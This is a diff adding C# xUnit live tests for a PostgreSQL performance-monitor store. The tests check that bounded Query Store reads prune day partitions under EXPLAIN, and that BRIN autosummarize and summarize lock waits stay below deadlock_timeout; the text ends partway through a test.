+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging.Abstractions;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Analysis;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+using static Darling.Tests.QueryStoreIntervalRetentionTestKit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The bounded reads of the day-partitioned Query Store interval tables prune (#5571), on a seeded and promoted store.
+/// A partitioned parent only helps a read that bounds <c>first_execution_time</c>; this runs <c>EXPLAIN</c> on the SQL
+/// each shipped read sends and asserts the plan scans only the day partitions (and the legacy table) the bounds can
+/// reach, fewer than the store has, with the DEFAULT partition allowed because it is empty. Each read runs twice: with a
+/// custom plan (the parameters pruned at plan time) and with a generic plan (pruned at executor start, which EXPLAIN
+/// reports as "Subplans Removed"), the two ways a prepared statement can run.
+///
+/// <para>Every statement is the product's own text, not a copy: the viewer grid and duration trend
+/// (<see cref="ViewerDataService.QueryStoreTopTableSql"/>, <see cref="ViewerDataService.QueryStoreDurationTrendTableSql"/>), the
+/// MCP top-queries, daily and history reads (<c>DarlingDataReader</c>, <c>DarlingMcpQueryStoreHistoryTools</c>), the two daily
+/// builds (<see cref="PlanRegressionDaily.BuildDaySql"/>, <see cref="QueryStoreTopDaily.BuildDaySql"/>) and the collector reads
+/// (<see cref="PgFactCollector.PlanRegressionTableSql"/>, <see cref="PgFactCollector.PlanRegressionDailySql"/>,
+/// <see cref="PgDrillDownCollector.RegressedQueriesTableSql"/>). A control test strips a read's bound and proves the
+/// assertion then fails.</para>
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. Every test reaches DARLING_TEST_PG only to
+   CREATE and DROP its own database through ScratchPostgres and works entirely inside it, so it cannot race
+   live collection. */
+public sealed class QueryStoreIntervalBoundedReadPruningLiveTests
+{
+    private static string Lit(DateTime value) => value.ToString("yyyy-MM-dd HH:mm:ss", CultureInfo.InvariantCulture);
+
+    /* What an EXPLAIN reported for one read: the leaves scanned and how many subplans the executor removed. */
+    private sealed record Scan(IReadOnlyList<string> Relations, int SubplansRemoved);
+
+    /* A leaf of the interval table: a day partition, the DEFAULT partition or the legacy table. The _coverage and _pending
+       siblings share the table's name as a prefix and are not leaves. */
+    private static bool IsLeaf(string relation, string table) =>
+        System.Text.RegularExpressions.Regex.IsMatch(relation, $"^{table}_(p[0-9]{{8}}|default|legacy)$");
+
+    private static void Walk(JsonElement node, string prefix, List<string> relations, ref int removed)
+    {
+        if (node.ValueKind == JsonValueKind.Object)
+        {
+            foreach (var property in node.EnumerateObject())
+            {
+                if (property.Name == "Relation Name" && property.Value.GetString() is { } name && IsLeaf(name, prefix))
+                {
+                    relations.Add(name);
+                }
+                else if (property.Name == "Subplans Removed")
+                {
+                    removed += property.Value.GetInt32();
+                }
+                else
+                {
+                    Walk(property.Value, prefix, relations, ref removed);
+                }
+            }
+        }
+        else if (node.ValueKind == JsonValueKind.Array)
+        {
+            foreach (var item in node.EnumerateArray())
+            {
+                Walk(item, prefix, relations, ref removed);
+            }
+        }
+    }
+
+    /// <summary>
+    /// <c>PREPARE</c>s the statement with its parameter types and <c>EXPLAIN</c>s one <c>EXECUTE</c> in the given plan mode.
+    /// Nothing runs: it is EXPLAIN without ANALYZE, which still does the executor's start-up pruning.
+    /// </summary>
+    private static async Task<Scan> ExplainAsync(
+        NpgsqlConnection connection, string table, string parameterTypes, string sql, string arguments, string planCacheMode, CancellationToken ct)
+    {
+        await ExecAsync(connection, $"SET plan_cache_mode = {planCacheMode}", ct);
+        await ExecAsync(connection, $"PREPARE pruning_probe({parameterTypes}) AS {sql}", ct);
+        try
+        {
+            await using var command = new NpgsqlCommand($"EXPLAIN (FORMAT JSON) EXECUTE pruning_probe({arguments})", connection) { CommandTimeout = 120 };
+            var json = (string)(await command.ExecuteScalarAsync(ct))!;
+            using var document = JsonDocument.Parse(json);
+            var relations = new List<string>();
+            var removed = 0;
+            Walk(document.RootElement, table, relations, ref removed);
+            return new Scan(relations.Distinct().ToList(), removed);
+        }
+        finally
+        {
+            await ExecAsync(connection, "DEALLOCATE pruning_probe", ct);
+        }
+    }
+
+    /* Seeds one row per day for the days around the promotion, promotes as of Now - 10 d (S = 9-30), and creates the days ahead. */
+    private static async Task SeedAsync(NpgsqlConnection connection, QueryStoreIntervalPartitions.IntervalTable table, CancellationToken ct)
+    {
+        await PromoteAsync(connection, table, Now.AddDays(-10), NullLogger.Instance, ct);
+        await QueryStoreIntervalPartitions.CreateAheadAsync(connection, table, Now, NullLogger.Instance, ct);
+        var day = new DateTime(2026, 9, 28);
+        for (var i = 0; i < 14; i++)
+        {
+            await InsertAsync(connection, table, day.AddDays(i).AddHours(10), 100 + i, ct);
+        }
+
+        await ExecAsync(connection, $"ANALYZE {table.Parent}", ct);
+    }
+
+    /* A leaf the bounds can reach: a day partition whose [D, D+1) meets [lo, hi], or the legacy table when lo is before S. */
+    private static void AssertPruned(
+        Scan scan, QueryStoreIntervalPartitions.IntervalTable table, IReadOnlyList<QueryStoreIntervalPartitions.PartitionInfo> leaves,
+        Bounds[] ranges, string mode, string label)
+    {
+        var legacy = $"{table.Name}_legacy";
+        var def = $"{table.Name}_default";
+        var reachable = new HashSet<string>(StringComparer.Ordinal) { def };
+        var s = leaves.Single(l => l.Name == table.Legacy).Upper!.Value;
+        foreach (var (lo, hi) in ranges.Select(r => (r.Lo, r.Hi)))
+        {
+            if (lo < s)
+            {
+                reachable.Add(legacy);
+            }
+
+            foreach (var leaf in leaves.Where(l => !l.IsDefault && l.Name != table.Legacy))
+            {
+                if (leaf.Upper!.Value > lo && (hi is null || leaf.Lower!.Value <= hi.Value))
+                {
+                    reachable.Add(leaf.Name.Substring("collect.".Length));
+                }
+            }
+        }
+
+        var unreachable = scan.Relations.Where(r => !reachable.Contains(r)).ToList();
+        Assert.True(unreachable.Count == 0, $"{label} ({mode}) scanned partitions the bounds cannot reach: {string.Join(", ", unreachable)}");
+
+        var scannedData = scan.Relations.Count(r => r != def);
+        var storedData = leaves.Count(l => !l.IsDefault);
+        Assert.True(scannedData > 0, $"{label} ({mode}) scanned no partition: {string.Join(", ", scan.Relations)}");
+        Assert.True(scannedData < storedData, $"{label} ({mode}) scanned {scannedData} of {storedData} partitions; nothing was pruned");
+        if (mode == "force_generic_plan")
+        {
+            /* EXPLAIN of a generic plan reports pruning done at executor start as "Subplans Removed". The plan keeps every leaf
+               and removes the unreachable ones at run time, so this is the one number that proves the generic plan prunes (a
+               leaf-count comparison against the scanned relations always holds once the checks above have passed). */
+            Assert.True(scan.SubplansRemoved > 0, $"{label} generic plan removed no subplans");
+        }
+    }
+
+    private static readonly string[] Modes = { "force_custom_plan", "force_generic_plan" };
+
+    /// <summary>One <c>first_execution_time</c> range a read's bounds reach: inclusive <c>Lo</c>, inclusive <c>Hi</c> (null = open above).</summary>
+    private readonly record struct Bounds(DateTime Lo, DateTime? Hi);
+
+    /// <summary>
+    /// One shipped read: its SQL as the product sends it, the parameter types to <c>PREPARE</c> it with, one literal per
+    /// parameter, and the ranges its bounds reach (the union, for a read with more than one arm). <c>GenericRanges</c>
+    /// is the range the read reaches when the plan is generic, for the one read whose upper bound is wrapped in an
+    /// <c>OR</c> over a parameter (the viewer grid's open window end), which only a plan-time constant can fold.
+    /// </summary>
+    private sealed record ReadCase(string Label, string Sql, string ParamTypes, string Args, Bounds[] Ranges, Bounds[]? GenericRanges = null);
+
+    private static async Task AssertReadsPruneAsync(
+        NpgsqlConnection connection, QueryStoreIntervalPartitions.IntervalTable table, IReadOnlyList<ReadCase> reads, CancellationToken ct)
+    {
+        /* The products send these unqualified and rely on the connection's search_path (collect, config, public). */
+        await ExecAsync(connection, "SET search_path = collect, config, public", ct);
+        var leaves = await QueryStoreIntervalPartitions.ReadPartitionsAsync(connection, table, ct);
+        Assert.True(leaves.Count(l => !l.IsDefault) >= 10, "the seeded store has many partitions to prune");
+        foreach (var read in reads)
+        {
+            foreach (var mode in Modes)
+            {
+                var scan = await ExplainAsync(connection, table.Name, read.ParamTypes, read.Sql, read.Args, mode, ct);
+                var ranges = mode == "force_generic_plan" && read.GenericRanges is { } generic ? generic : read.Ranges;
+                AssertPruned(scan, table, leaves, ranges, mode, read.Label);
+            }
+        }
+    }
+
+    /// <summary>The wide-table reads the viewer, the MCP tools and the trend reader send, over one window [from, to].</summary>
+    private static ReadCase[] WideReads(DateTime from, DateTime to, DateTime day)
+    {
+        var purge = QueryStoreIntervalWide.PurgeEdgeMargin;
+        var slack = QueryStoreIntervalWide.FirstExecUpperSlack;
+        var f = $"'{Lit(from)}'::timestamp";
+        var t = $"'{Lit(to)}'::timestamp";
+        var edge = new DateTime(2026, 10, 5, 12, 0, 0);
+        var spanStart = new DateTime(2026, 10, 6);
+        var spanEnd = new DateTime(2026, 10, 7);
+        var end = new DateTime(2026, 10, 7, 12, 0, 0);
+        return new[]
+        {
+            /* The viewer grid: $3 may be NULL (an open window end), so its upper bound is $3 IS NULL OR ..., which only the
+               custom plan (a constant $3) folds; the generic plan prunes below only. */
+            new ReadCase(
+                "viewer grid top read", ViewerDataService.QueryStoreTopTableSql, "integer, timestamp, timestamp, integer, text[], integer",
+                $"1, {f}, {t}, 10, NULL::text[], 50",
+                new[] { new Bounds(from - purge, to + slack) }, new[] { new Bounds(from - purge, null) }),
+            new ReadCase(
+                "MCP top-queries table read", DarlingDataReader.QueryStoreTopTableSql, "integer, timestamp, timestamp, integer, text[], text, text, integer",
+                $"1, {f}, {t}, 10, NULL::text[], NULL::text, NULL::text, 50",
+                new[] { new Bounds(from - purge, to + slack) }),
+            /* The daily read: the wide table serves the two edges, [$2, $8) and [$9, $3], and the summary serves the days between. */
+            new ReadCase(
+                "MCP top-queries daily read", DarlingDataReader.QueryStoreTopDailyTableSql,
+                "integer, timestamp, timestamp, integer, text[], text, text, date, date, integer",
+                $"1, '{Lit(edge)}'::timestamp, '{Lit(end)}'::timestamp, 10, NULL::text[], NULL::text, NULL::text, '{Lit(spanStart)}'::date, '{Lit(spanEnd)}'::date, 50",
+                new[] { new Bounds(edge - purge, spanStart + slack), new Bounds(spanEnd - purge, end + slack) }),
+            /* The viewer's duration trend: arm 1 (interval_start_time_utc) and arm 2 (legacy rows, $4 is the window end). */
+            new ReadCase(
+                "viewer duration trend table read", ViewerDataService.QueryStoreDurationTrendTableSql, "integer, timestamp, timestamp, timestamp, text[]",
+                $"1, {f}, {t}, {t}, NULL::text[]",
+                new[]
+                {
+                    new Bounds(from - QueryStoreIntervalWide.IntervalStartSlack, to + QueryStoreIntervalWide.IntervalStartFirstExecMargin),
+                    new Bounds(from - purge, to + slack),
+                }),
+            new ReadCase(
+                "MCP query history table read", DarlingMcpQueryStoreHistoryTools.HistoryTableSql, "integer, text, bigint, timestamp, timestamp",
+                $"1, 'db', 7, {f}, {t}",
+                new[] { new Bounds(from - purge, to + slack) }),
+            /* The top-daily build reads one collection day with the same floor and a one-hour skew slack above. */
+            new ReadCase(
+                "top-daily build", QueryStoreTopDaily.BuildDaySql, "integer, date", $"1, '{Lit(day)}'::date",
+                new[] { new Bounds(day - purge, day.AddDays(1) + QueryStoreTopDaily.SkewSlack) }),
+        };
+    }
+
+    /// <summary>The latest-table reads the collectors and the daily builder send.</summary>
+    private static ReadCase[] LatestReads(DateTime day)
+    {
+        var floor = new DateTime(2026, 10, 7);
+        var fl = $"'{Lit(floor)}'::timestamp";
+        return new[]
+        {
+            /* The plan-regression daily build bounds first_execution_time on both ends: [D - 1 day, D + 1 day). */
+            new ReadCase(
+                "plan-regression daily build", PlanRegressionDaily.BuildDaySql, "integer, date, timestamp, timestamp",
+                $"1, '{Lit(day)}'::date, '{Lit(day.AddDays(1))}'::timestamp, '{Lit(day.AddDays(-1))}'::timestamp",
+                new[] { new Bounds(day.AddDays(-1), day.AddDays(1).AddTicks(-1)) }),
+            /* The collector and drill-down reads bound it below only, so they also reach the days ahead and DEFAULT. */
+            new ReadCase(
+                "PLAN_REGRESSION fact, table read", PgFactCollector.PlanRegressionTableSql, "integer, timestamp, timestamp, timestamp",
+                $"1, {fl}, {fl}, {fl}", new[] { new Bounds(floor, null) }),
+            new ReadCase(
+                "PLAN_REGRESSION fact, per-day read", PgFactCollector.PlanRegressionDailySql, "integer, timestamp, date[], timestamp, timestamp",
+                $"1, {fl}, ARRAY[]::date[], {fl}, {fl}", new[] { new Bounds(floor, null) }),
+            new ReadCase(
+                "regressed-queries drill-down", PgDrillDownCollector.RegressedQueriesTableSql,
+                "integer, timestamp, timestamp, timestamp, text[], bigint[], timestamp",
+                $"1, {fl}, {fl}, {fl}, NULL::text[], NULL::bigint[], {fl}", new[] { new Bounds(floor, null) }),
+        };
+    }
+
+    [Fact]
+    public async Task EveryBoundedRead_OfTheWideTable_ScansOnlyTheDaysItsBoundsReach()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        await SeedAsync(connection, Wide, ct);
+        await AssertReadsPruneAsync(connection, Wide, WideReads(new DateTime(2026, 10, 7), new DateTime(2026, 10, 8), new DateTime(2026, 10, 6)), ct);
+    }
+
+    [Fact]
+    public async Task EveryBoundedRead_OfTheLatestTable_ScansOnlyTheDaysItsBoundsReach()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        await SeedAsync(connection, Latest, ct);
+        await AssertReadsPruneAsync(connection, Latest, LatestReads(new DateTime(2026, 10, 6)), ct);
+    }
+
+    /// <summary>
+    /// The assertion has teeth: the MCP history read with its two <c>first_execution_time</c> lines removed scans every
+    /// partition, and <see cref="AssertPruned"/> refuses it. A read that loses its bound (or binds it through an
+    /// expression that does not prune) stays green only if this control stops failing.
+    /// </summary>
+    [Fact]
+    public async Task AReadThatLosesItsFirstExecutionTimeBound_FailsThePruningAssertion()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        await SeedAsync(connection, Wide, ct);
+        await ExecAsync(connection, "SET search_path = collect, config, public", ct);
+        var leaves = await QueryStoreIntervalPartitions.ReadPartitionsAsync(connection, Wide, ct);
+
+        var shipped = WideReads(new DateTime(2026, 10, 7), new DateTime(2026, 10, 8), new DateTime(2026, 10, 6)).Single(r => r.Label == "MCP query history table read");
+        var lines = shipped.Sql.Split('\n');
+        var stripped = string.Join("\n", lines.Where(l => !l.Contains("first_execution_time >= $4", StringComparison.Ordinal) && !l.Contains("first_execution_time <= $5", StringComparison.Ordinal)));
+        Assert.NotEqual(shipped.Sql, stripped);
+
+        foreach (var mode in Modes)
+        {
+            var intact = await ExplainAsync(connection, Wide.Name, shipped.ParamTypes, shipped.Sql, shipped.Args, mode, ct);
+            AssertPruned(intact, Wide, leaves, shipped.Ranges, mode, shipped.Label);
+
+            var scan = await ExplainAsync(connection, Wide.Name, shipped.ParamTypes, stripped, shipped.Args, mode, ct);
+            Assert.ThrowsAny<Exception>(() => AssertPruned(scan, Wide, leaves, shipped.Ranges, mode, shipped.Label));
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/QueryStoreIntervalBrinLiveTests.cs b/Darling/Darling.Tests/QueryStoreIntervalBrinLiveTests.cs
new file mode 100644
index 0000000000..dce3c18a14
--- /dev/null
+++ b/Darling/Darling.Tests/QueryStoreIntervalBrinLiveTests.cs
@@ -0,0 +1,656 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Diagnostics;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+using static Darling.Tests.QueryStoreIntervalRetentionTestKit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5594: BRIN autosummarize on the Query Store interval tables must not cancel autovacuum. A BRIN summarize work item waits for
+/// the table's SHARE UPDATE EXCLUSIVE lock, and after deadlock_timeout PostgreSQL cancels the VACUUM that holds it. Every BRIN
+/// leaf is off (an index an earlier build made with <c>on</c> included), and the hourly summarize that replaces the work items
+/// never waits as long as deadlock_timeout for a lock.
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. Every test reaches DARLING_TEST_PG only to
+   CREATE and DROP its own database through ScratchPostgres and works entirely inside it, so it cannot race
+   live collection. */
+[Collection("timing")]
+public sealed class QueryStoreIntervalBrinLiveTests
+{
+    private const string Brin = "ix_query_store_interval_wide_collection_time_brin";
+
+    /* BRIN leaf indexes (relkind i; the partitioned parent index is relkind I and cannot be altered) of the wide table's family. */
+    private const string LeafBrinFrom =
+        "FROM pg_index x JOIN pg_class i ON i.oid = x.indexrelid JOIN pg_am am ON am.oid = i.relam "
+        + "WHERE am.amname = 'brin' AND i.relkind = 'i' "
+        + "AND (x.indrelid = 'collect.query_store_interval_wide'::regclass "
+        + "OR x.indrelid IN (SELECT relid FROM pg_partition_tree('collect.query_store_interval_wide'::regclass)))";
+
+    private const string LeafBrinCountSql = "SELECT count(*) " + LeafBrinFrom;
+
+    private const string LeafBrinOnCountSql = "SELECT count(*) " + LeafBrinFrom + " AND coalesce(i.reloptions @> ARRAY['autosummarize=on'], false)";
+
+    /* Enough rows for several COMPLETE 128-page ranges after the index exists: a handful of rows fills less than one range, and
+       the last, partial range is summarized too (brin_summarize_range passes include_partial), so the count would say little. */
+    private static Task InsertManyAsync(NpgsqlConnection connection, CancellationToken ct) =>
+        ExecAsync(
+            connection,
+            "INSERT INTO collect.query_store_interval_wide (collection_time, server_id, database_name, query_id, plan_id, execution_type_desc, "
+            + "first_execution_time, last_execution_time, query_text, execution_count, avg_duration_us, runtime_stats_interval_id, interval_start_time_utc) "
+            + "SELECT t, 1, 'db', g, g, 'Regular', t, t, repeat('select 1 ', 20), 1, 1000, 1, t "
+            + "FROM (SELECT g, timestamp '2026-10-08 12:00:00' + g * interval '1 second' AS t FROM generate_series(1, 30000) AS g) AS s",
+            ct);
+
+    [Theory]
+    [InlineData(1000, 500)]
+    [InlineData(200, 100)]
+    [InlineData(199, 0)]
+    [InlineData(1, 0)]
+    [InlineData(5000, 2000)]
+    [InlineData(60000, 2000)]
+    public void TheSummarizeLockWait_IsAlwaysStrictlyBelowDeadlockTimeout_OrTheStepDoesNotRun(int deadlockMs, int expectedMs)
+    {
+        var lockMs = QueryStoreIntervalBrin.SummarizeLockTimeoutMs(deadlockMs);
+        Assert.Equal(expectedMs, lockMs);
+        Assert.True(lockMs == 0 || lockMs < deadlockMs);
+    }
+
+    [Fact]
+    public async Task AnUpgradedStoreWithAutosummarizeOn_EndsUpOff_OnTheLegacyTable_EveryDayLeafAndDefault()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        var logger = new ListLogger();
+
+        /* The state a pre-#5594 store is in after V171: #4862's legacy index with autosummarize on, attached to a parent index that
+           was made with it on. */
+        await ExecAsync(connection, $"CREATE INDEX {Brin}_legacy ON collect.query_store_interval_wide_legacy USING brin (collection_time) WITH (autosummarize = on)", ct);
+        await ExecAsync(connection, $"CREATE INDEX {Brin} ON ONLY collect.query_store_interval_wide USING brin (collection_time) WITH (autosummarize = on)", ct);
+        await ExecAsync(connection, $"ALTER INDEX collect.{Brin} ATTACH PARTITION collect.{Brin}_legacy", ct);
+        Assert.Equal(1L, await CountAsync(connection, LeafBrinOnCountSql, ct));
+
+        /* The hourly step alone (the start path runs it before the collectors): the legacy leaf goes off. */
+        var turnedOff = await QueryStoreIntervalBrin.TurnOffAutosummarizeAsync(connection, Wide, logger, ct);
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.Done, turnedOff.Outcome);
+        Assert.Equal(1, turnedOff.Count);
+        Assert.Equal(0L, await CountAsync(connection, LeafBrinOnCountSql, ct));
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.NothingToDo, (await QueryStoreIntervalBrin.TurnOffAutosummarizeAsync(connection, Wide, logger, ct)).Outcome);
+
+        /* The partitioned parent index cannot be altered, so it keeps cloning "on" into every leaf the next steps make. */
+        Assert.Equal(1L, await CountAsync(connection, $"SELECT count(*) FROM pg_class WHERE oid = 'collect.{Brin}'::regclass AND relkind = 'I' AND reloptions @> ARRAY['autosummarize=on']", ct));
+
+        /* Promotion makes the day partitions and DEFAULT by PARTITION OF, each cloning the parent's option: all off. */
+        await PromoteAsync(connection, Wide, Now, logger, ct);
+        var leaves = await CountAsync(connection, LeafBrinCountSql, ct);
+        Assert.True(leaves >= 4, $"expected the legacy table, DEFAULT and the day partitions to have a BRIN each; found {leaves}");
+        Assert.Equal(0L, await CountAsync(connection, LeafBrinOnCountSql, ct));
+
+        /* Create-ahead makes the next days by CREATE TABLE + ATTACH, which also clones: off, in the same transaction. */
+        var ahead = await QueryStoreIntervalPartitions.CreateAheadAsync(connection, Wide, Now.AddDays(3), logger, ct);
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.Done, ahead.Outcome);
+        Assert.True(await CountAsync(connection, LeafBrinCountSql, ct) > leaves);
+        Assert.Equal(0L, await CountAsync(connection, LeafBrinOnCountSql, ct));
+
+        /* An index somebody turned back on (or a leaf some other path made) is turned off by the next pass, and the pass counts it. */
+        await ExecAsync(connection, $"ALTER INDEX collect.{Brin}_legacy SET (autosummarize = on)", ct);
+        Assert.Equal(1L, await CountAsync(connection, LeafBrinOnCountSql, ct));
+        var pass = await QueryStoreIntervalPartitions.RunMaintenancePassAsync(connection, Now.AddDays(3), logger, ct);
+        Assert.Equal(0, pass.Failed);
+        Assert.True(pass.Changed >= 1);
+        Assert.Equal(0L, await CountAsync(connection, LeafBrinOnCountSql, ct));
+    }
+
+    [Fact]
+    public async Task AFreshStoresIndexBuild_AndItsLeaves_AreOffFromTheStart()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        var logger = new ListLogger();
+
+        await QueryStoreIntervalWideBrinIndex.EnsureAsync(connection, logger, ct);
+        await PromoteAsync(connection, Wide, Now, logger, ct);
+        await QueryStoreIntervalPartitions.CreateAheadAsync(connection, Wide, Now.AddDays(3), logger, ct);
+
+        Assert.True(await CountAsync(connection, LeafBrinCountSql, ct) >= 4);
+        Assert.Equal(0L, await CountAsync(connection, LeafBrinOnCountSql, ct));
+        Assert.Equal(0L, await CountAsync(connection, $"SELECT count(*) FROM pg_class WHERE oid = 'collect.{Brin}'::regclass AND reloptions @> ARRAY['autosummarize=on']", ct));
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.NothingToDo, (await QueryStoreIntervalBrin.TurnOffAutosummarizeAsync(connection, Wide, logger, ct)).Outcome);
+    }
+
+    [Fact]
+    public async Task TheSummarize_UnderAHeldShareUpdateExclusiveLock_GivesUpBelowDeadlockTimeout_AndNeverShowsAWaiterThatLong()
+    {
+        /* A SHARE UPDATE EXCLUSIVE lock stands in for a running autovacuum. The summarize asks for the same lock, so if it waited
+           deadlock_timeout PostgreSQL would cancel the real autovacuum. It must give up first, and say so. */
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        await using var blocker = await OpenStoreAsync(scratch, ct);
+        await using var watcher = await OpenStoreAsync(scratch, ct);
+        var logger = new ListLogger();
+
+        await ExecAsync(connection, $"CREATE INDEX {Brin}_legacy ON collect.query_store_interval_wide_legacy USING brin (collection_time) WITH (autosummarize = off)", ct);
+        await InsertManyAsync(connection, ct);
+
+        var deadlockMs = (int)await CountAsync(connection, "SELECT setting::bigint FROM pg_settings WHERE name = 'deadlock_timeout'", ct);
+        var longestWaiter = TimeSpan.Zero;
+        var stop = false;
+        QueryStoreIntervalPartitions.StepResult held;
+        var elapsed = TimeSpan.Zero;
+        Task poll;
+        await using (var hold = await blocker.BeginTransactionAsync(ct))
+        {
+            await ExecAsync(blocker, "LOCK TABLE collect.query_store_interval_wide_legacy IN SHARE UPDATE EXCLUSIVE MODE", ct);
+            poll = Task.Run(
+                async () =>
+                {
+                    var since = (Stopwatch?)null;
+                    while (!Volatile.Read(ref stop))
+                    {
+                        await using var command = new NpgsqlCommand(
+                            "SELECT count(*) FROM pg_locks WHERE NOT granted AND relation = 'collect.query_store_interval_wide_legacy'::regclass;", watcher);
+                        var waiting = (long)(await command.ExecuteScalarAsync(ct))! > 0;
+                        since = waiting ? since ?? Stopwatch.StartNew() : null;
+                        if (since is not null && since.Elapsed > longestWaiter)
+                        {
+                            longestWaiter = since.Elapsed;
+                        }
+
+                        await Task.Delay(10, ct);
+                    }
+                },
+                ct);
+
+            var watch = Stopwatch.StartNew();
+            held = await QueryStoreIntervalBrin.SummarizeNewRangesAsync(connection, Wide, logger, ct);
+            elapsed = watch.Elapsed;
+            Volatile.Write(ref stop, true);
+            await poll;
+            await hold.RollbackAsync(ct);
+        }
+
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.RetryLater, held.Outcome);
+        Assert.Contains("without the lock", held.Detail);
+        Assert.True(elapsed < TimeSpan.FromMilliseconds(deadlockMs), $"the summarize took {elapsed.TotalMilliseconds:F0} ms against deadlock_timeout {deadlockMs} ms");
+        Assert.True(longestWaiter < TimeSpan.FromMilliseconds(deadlockMs), $"pg_locks showed a waiter for {longestWaiter.TotalMilliseconds:F0} ms against deadlock_timeout {deadlockMs} ms");
+
+        /* Once the lock is gone the same call summarizes the range the insert left unsummarized, and the next call finds nothing. */
+        var after = await QueryStoreIntervalBrin.SummarizeNewRangesAsync(connection, Wide, logger, ct);
+        Assert.True(after.Outcome == QueryStoreIntervalPartitions.StepOutcome.Done, $"{after.Outcome}: {after.Detail}");
+        Assert.True(after.Count >= 1);
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.NothingToDo, (await QueryStoreIntervalBrin.SummarizeNewRangesAsync(connection, Wide, logger, ct)).Outcome);
+    }
+
+    [Fact]
+    public async Task TheSummarize_WithADeadlockTimeoutTooShortToWaitBelow_DoesNotRun()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        await ExecAsync(connection, $"CREATE INDEX {Brin}_legacy ON collect.query_store_interval_wide_legacy USING brin (collection_time) WITH (autosummarize = off)", ct);
+        await InsertAsync(connection, Wide, Now.AddHours(-2), 1, ct);
+
+        await ExecAsync(connection, "SET deadlock_timeout = '100ms'", ct);
+        var step = await QueryStoreIntervalBrin.SummarizeNewRangesAsync(connection, Wide, new ListLogger(), ct);
+
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.NotReady, step.Outcome);
+        Assert.Contains("deadlock_timeout is 100 ms", step.Detail);
+    }
+
+    private const string LegacyTable = "collect.query_store_interval_wide_legacy";
+
+    private const string LegacyBrin = "collect." + Brin + "_legacy";
+
+    [Theory]
+    [InlineData(1000, 2000)]
+    [InlineData(200, 1200)]
+    [InlineData(1, 1001)]
+    [InlineData(0, 1001)]
+    [InlineData(4000, 5000)]
+    [InlineData(60000, 5000)]
+    [InlineData(int.MaxValue, 5000)]
+    public void TheTurnOffLockWait_IsDeadlockTimeoutPlusASecond_ButNeverMoreThanFiveSeconds(int deadlockMs, int expectedMs)
+    {
+        Assert.Equal(expectedMs, QueryStoreIntervalBrin.TurnOffLockTimeoutMs(deadlockMs));
+    }
+
+    /// <summary>The statement shapes #5594 review round 1 depends on: a text pin, so a rewrite back to the old shape fails here without a server.</summary>
+    [Fact]
+    public void TheStatementShapes_StopBetweenRanges_AndCountEveryVacuumThatCannotBeCancelled()
+    {
+        /* brin_summarize_new_values can only be cancelled, and a cancel strands a placeholder range that no later pass summarizes. */
+        Assert.Contains("brin_summarize_range", QueryStoreIntervalBrin.SummarizeIndexSql);
+        Assert.Contains("clock_timestamp()", QueryStoreIntervalBrin.SummarizeIndexSql);
+        Assert.DoesNotContain("brin_summarize_new_values", QueryStoreIntervalBrin.SummarizeIndexSql);
+
+        var holders = QueryStoreIntervalBrin.AutosummarizeOnSql;
+        Assert.Contains("pg_stat_progress_vacuum", holders);
+        Assert.Contains("autovacuum_freeze_max_age", holders);
